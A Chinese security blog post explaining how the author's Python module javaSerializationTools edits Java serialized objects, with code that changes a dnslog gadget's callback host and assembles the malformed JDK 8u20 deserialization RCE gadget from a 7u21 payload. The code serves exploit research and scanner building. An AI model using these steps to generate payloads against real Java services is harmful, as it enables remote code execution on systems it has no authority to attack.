使用python javaSerializationTools模块拼接生成 8u20 Gadget

宽字节安全 2021-01-21 16:36:23
Python 模块 使用 拼接 javaserializationtools


简介

最近受朋友所托,在使用python写扫描器关于java反序列化漏洞的exp中,一直无法简便的生成payload。目前来说只有两种方法:

  1. python通过命令调用java的Ysoerial.jar 去获取gadget。 缺点太多了,还要在线上环境中准备一个jdk,对于特殊的gadget,比如7u21 这种payload,还需要准备多个版本的jdk。
  2. python直接写死gadget的字节码。

当然,上面两种方法都有一个最致命的缺点,那就是无法随意更改Suid值等反序列化属性。在反序列化攻击的场景中。经常会出现suid不一致而导致无法攻击成功的案例,当然,各种奇技淫巧都是在jar包中想办法,而很少有人在反序列化文件上动手。

于是,我按照java反序列化协议标准,使用python编写一个模块,可以做到自由读写java反序列化文件。当然,后期也可能会推出Java版。

生成8u20 gadget才是最具有挑战的事,因为网上的工具,基本都很复杂,需要手工计算handle等。这对一个不懂java反序列化协议的人来讲,十分不友好。而且,8u20 gadget是一个畸形的反序列化数据。

我们先从dnslog说起,从易到难,看一下如何使用javaSerializationTools模块读写java序列化文件

修改Dnslog gadget的网址

在这里我们不关心dnslog这个gadget是如何触发的,我们只关心如何修改dnslog地址。

修改dnslog的地址,其实也就是修改java.net.URL对象的host字段的值。所以我们先读取一个dnslog的反序列化文件,解析成功后保存为yaml文本格式的模板。

json 不支持复杂对象的存储,比如java中经常会出现对象的循环引用,json无法表达这种关系,而yaml可以表达,但是牺牲部分可读性。主要为了降低工作量

示例代码如下:

 with open("../files/dnslog.ser", "rb") as f:
a = ObjectRead(f)
dnslog = a.readContent()

在这里我使用模块的javaObject类去表示一个java类。因为在反序列化数据中,只有对象,对象中的字段以及对象的类,如果存在额外数据,则添加到javaObject对象中的objectAnnoation列表中。下面我们来看截图,看一下dnslog是如何被解析的

loadFactorthreshold是HasnMap对象的两个属性,在这里没什么好说的。下面来说一下我是如何保存java对象中字段的值。

在java中某个类可能继承自父类,父类也可能继承自爷爷类。java为了精准的保存某个对象,会将对象所有的字段都保存下来。在反序列化还原对象中,首先读取对象的类的描述。也就是如上图中javaClass所表示的一样。紧接着还原对象的值中,会按照读取的类的描述中字段的顺序,先读取父类的值,再读取子类的值。所以我将字段保存为多维数组,按层保存。字段的顺序与javaCLass中描述的字段顺序必须一致。

下面再讲一下 objectAnnoation是个什么东西。在反序列化中,默认保存对象的所有值。但是对于HashMap这种对象来讲,对象中的值,也就是key和value是不固定的,没有办法保存。这时writeObject和readObject方法出场了。writeObject方法是写入对象中多余的值的特殊方法。经过writeObject方法写入的内容,会被写入到ObjectAnnotation中。readObject读取,也是读取ObjectAnnotation中的信息。在反序列化中,首先写入父类的字段值,如果父类存在writeObject,则再调用writeObject写入额外信息。然后再写入子类的字段值。writeObject函数在调用成功后,会向ObjectAnnotation中写入EndBlock标识终结。

对于hashmap对象来说,key和value分别存放到ObjectAnnotation中。我们需要想办法修改URL对象的host字段。URL对象的布局如下图所示

修改起来很简单,代码如下

 dnslogUrl = 'bza4l5.dnslog.cn'
with open('dnslog.yaml', "r") as f:
dnslog = yaml.load(f, Loader=yaml.FullLoader)
UrlObject = dnslog.objectAnnotation[2]
# 修改java.net.URL的host属性为新的dnslog地址
dnslog.objectAnnotation[1].fields[0][4].value.string = dnslogUrl
with open('dnslog.ser', 'wb') as f:
ObjectWrite(f).writeContent(dnslog)

dnslog.yaml 截图如下

生成 JRE 8u20 gadget

上面简单对象已经讲完了,下面我们来说一下复杂对象的读写。我们只需要大概了解jre 7u21 payload的触发流程即可。以及修复方式如何被绕过的。

7u21的gadget中 LinkedHashMapreadObject触发sun.reflect.annotation.AnnotationInvocationHandler,最终触发RCE。修复方法如下图所示。readObject中会判断反序列化的类型,如果不是所期望的,则直接抛出异常。

我们还需要回顾刚才讲的writeObject方法。假如一个对象在序列化过程中,调用writeObject方法。则java序列化中,是不会序列化任何字段值,一切交由对象的writeObject方法去处理。所以一般的writeObject方法中,只是保存额外信息,对象的字段值,统统交由defaultReadObject()去处理。

虽然sun.reflect.annotation.AnnotationInvocationHandler抛出了异常,但是对象以及所有的属性,其实已经还原完毕了。并且后面也可以调用。

我们分析一下原因,打开java序列化协议标准中关于还原对象的部分或者我自写的ObjectRead类的readObject方法

https://github.com/potats0/javaSerializationTools/blob/main/javaSerializationTools/ObjectRead.py#L150

在java序列化协议中,为了防止循环引用,或者为了节约序列化后空间,会将出现一摸一样的对象,第二个相同的对象使用reference代替,你可以理解为c语言的指针。在还原对象中,首先为被还原对象建立reference,其次再还原对象的值。

sun.reflect.annotation.AnnotationInvocationHandler的readObject中,我们可以看到抛出异常的代码后面,也没有额外信息可以供我们读取。所以,即使抛出了异常,但是对象也是被成功还原的,抛出异常前,对象的所有字段其实已经被还原完成了。所以我们想办法拦截异常信息,不打断正常的反序列化流程即可。这就是8u20 gadget的通俗解释。

在这里我们直接看java.beans.beancontext.BeanContextSupport#readChildren方法。在这里读取了额外的对象,并且也捕获异常信息。并没有打断正常的反序列化流程。

刚才我们说过,ObjectAnnotation的结尾,存放JavaEndBlockData,标识readObject读取的结尾。但是现在抛出异常了,导致BeanContextSupport的ObjectAnnotation中,JavaEndBlockData无法被正常处理。也就会导致后面读取全部错误。这也就是jre 8u20无法被第三方软件解析成功的原因。我们在生成BeanContextSupport中,不能按照规定,在ObjectAnnotation的结尾处生成JavaEndBlockData标识。这也就是8u20 畸形数据的来源。

下面我们来看一下7u21 的解析结果,如图

我们刚说过,在反序列化流程中,一般都是首先还原对象中字段的值,再还原objectAnnotation中的值。我们只需要插入一个虚假的字段到LinkedHashSet中,java反序列化中,如果遇到虚假的反序列化值,是不会影响正常的反序列化的流程的。

说起来容易做起来难,java序列化是不会生成这种畸形数据的。手工修改7u21的payload,插入一个新对象的话,后面所有的引用都需要一一修改。这个工作量听起来就很吓人,而且很容易出错。

所以我使用 javaSerializationTools模块,修改7u21的gadget,自动计算引用等。

首先向LinkedHashSet中添加一个新的字段,名字叫fake,类型为BeanContextSupport

代码如下


with open("../files/7u21.ser", "rb") as f:
a = ObjectRead(f)
obj = a.readContent()
# 第一步,向HashSet添加一个假字段,名字fake
signature = JavaString("Ljava/beans/beancontext/BeanContextSupport;")
fakeSignature = {'name': 'fake', 'signature': signature}
obj.javaClass.superJavaClass.fields.append(fakeSignature)

然后构造BeanContextSupport对象的值

 # 构造假的BeanContextSupport反序列化对象,注意要引用后面的AnnotationInvocationHandler
# 读取BeanContextSupportClass的类的简介
with open('BeanContextSupportClass.yaml', 'r') as f1:
BeanContextSupportClassDesc = yaml.load(f1.read(), Loader=yaml.FullLoader)
# 向beanContextSupportObject添加beanContextChildPeer属性
beanContextSupportObject = JavaObject(BeanContextSupportClassDesc)
beanContextChildPeerField = JavaField('beanContextChildPeer',
JavaString('Ljava/beans/beancontext/BeanContextChild'),
beanContextSupportObject)
beanContextSupportObject.fields.append([beanContextChildPeerField])
# 向beanContextSupportObject添加serializable属性
serializableField = JavaField('serializable', 'I', 1)
beanContextSupportObject.fields.append([serializableField])

最后处理objectAnnotation,因为BeanContextSupport的父类也有writeObject方法。根据协议,我们第一个值为javaEndBlock,第二个值才是sun.reflect.annotation.AnnotationInvocationHandler对象,在这里我们直接引用7u21 的AnnotationInvocationHandler对象。这样,真正起作用的AnnotationInvocationHandler为第一个成功还原的AnnotationInvocationHandler的对象。而引用的对象,再被引用的过程中是不会调用readObject方法的。

代码如下

 # 向beanContextSupportObject添加objectAnnontations 数据
beanContextSupportObject.objectAnnotation.append(JavaEndBlock())
AnnotationInvocationHandler = obj.objectAnnotation[2].fields[0][0].value
beanContextSupportObject.objectAnnotation.append(AnnotationInvocationHandler)
# 把beanContextSupportObject对象添加到fake属性里
fakeField = JavaField('fake', fakeSignature['signature'], beanContextSupportObject)
obj.fields[0].append(fakeField)

当然不需要计算handle了,只需要使用ObjectWrite对象写入文件,即可自动计算handle等一切繁琐的事

 with open("8u20.ser", 'wb') as f:
o = ObjectWrite(f)
o.writeContent(obj)

8u20 gadget 布局如下图所示

完整的代码详见 https://github.com/potats0/javaSerializationTools/blob/main/tests/test8u20/main.py

欢迎fork star项目,目前还在设计中,届时使用起来将会更加容易

项目地址 https://github.com/potats0/javaSerializationTools

版权声明
本文为[宽字节安全]所创,转载请带上原文链接,感谢
https://www.cnblogs.com/potatsoSec/p/14308789.html

  1. 【计算机网络 12(1),尚学堂马士兵Java视频教程
  2. 【程序猿历程,史上最全的Java面试题集锦在这里
  3. 【程序猿历程(1),Javaweb视频教程百度云
  4. Notes on MySQL 45 lectures (1-7)
  5. [computer network 12 (1), Shang Xuetang Ma soldier java video tutorial
  6. The most complete collection of Java interview questions in history is here
  7. [process of program ape (1), JavaWeb video tutorial, baidu cloud
  8. Notes on MySQL 45 lectures (1-7)
  9. 精进 Spring Boot 03:Spring Boot 的配置文件和配置管理,以及用三种方式读取配置文件
  10. Refined spring boot 03: spring boot configuration files and configuration management, and reading configuration files in three ways
  11. 精进 Spring Boot 03:Spring Boot 的配置文件和配置管理,以及用三种方式读取配置文件
  12. Refined spring boot 03: spring boot configuration files and configuration management, and reading configuration files in three ways
  13. 【递归,Java传智播客笔记
  14. [recursion, Java intelligence podcast notes
  15. [adhere to painting for 386 days] the beginning of spring of 24 solar terms
  16. K8S系列第八篇(Service、EndPoints以及高可用kubeadm部署)
  17. K8s Series Part 8 (service, endpoints and high availability kubeadm deployment)
  18. 【重识 HTML (3),350道Java面试真题分享
  19. 【重识 HTML (2),Java并发编程必会的多线程你竟然还不会
  20. 【重识 HTML (1),二本Java小菜鸟4面字节跳动被秒成渣渣
  21. [re recognize HTML (3) and share 350 real Java interview questions
  22. [re recognize HTML (2). Multithreading is a must for Java Concurrent Programming. How dare you not
  23. [re recognize HTML (1), two Java rookies' 4-sided bytes beat and become slag in seconds
  24. 造轮子系列之RPC 1:如何从零开始开发RPC框架
  25. RPC 1: how to develop RPC framework from scratch
  26. 造轮子系列之RPC 1:如何从零开始开发RPC框架
  27. RPC 1: how to develop RPC framework from scratch
  28. 一次性捋清楚吧,对乱糟糟的,Spring事务扩展机制
  29. 一文彻底弄懂如何选择抽象类还是接口,连续四年百度Java岗必问面试题
  30. Redis常用命令
  31. 一双拖鞋引发的血案,狂神说Java系列笔记
  32. 一、mysql基础安装
  33. 一位程序员的独白:尽管我一生坎坷,Java框架面试基础
  34. Clear it all at once. For the messy, spring transaction extension mechanism
  35. A thorough understanding of how to choose abstract classes or interfaces, baidu Java post must ask interview questions for four consecutive years
  36. Redis common commands
  37. A pair of slippers triggered the murder, crazy God said java series notes
  38. 1、 MySQL basic installation
  39. Monologue of a programmer: despite my ups and downs in my life, Java framework is the foundation of interview
  40. 【大厂面试】三面三问Spring循环依赖,请一定要把这篇看完(建议收藏)
  41. 一线互联网企业中,springboot入门项目
  42. 一篇文带你入门SSM框架Spring开发,帮你快速拿Offer
  43. 【面试资料】Java全集、微服务、大数据、数据结构与算法、机器学习知识最全总结,283页pdf
  44. 【leetcode刷题】24.数组中重复的数字——Java版
  45. 【leetcode刷题】23.对称二叉树——Java版
  46. 【leetcode刷题】22.二叉树的中序遍历——Java版
  47. 【leetcode刷题】21.三数之和——Java版
  48. 【leetcode刷题】20.最长回文子串——Java版
  49. 【leetcode刷题】19.回文链表——Java版
  50. 【leetcode刷题】18.反转链表——Java版
  51. 【leetcode刷题】17.相交链表——Java&python版
  52. 【leetcode刷题】16.环形链表——Java版
  53. 【leetcode刷题】15.汉明距离——Java版
  54. 【leetcode刷题】14.找到所有数组中消失的数字——Java版
  55. 【leetcode刷题】13.比特位计数——Java版
  56. oracle控制用户权限命令
  57. 三年Java开发,继阿里,鲁班二期Java架构师
  58. Oracle必须要启动的服务
  59. 万字长文!深入剖析HashMap,Java基础笔试题大全带答案
  60. 一问Kafka就心慌?我却凭着这份,图灵学院vip课程百度云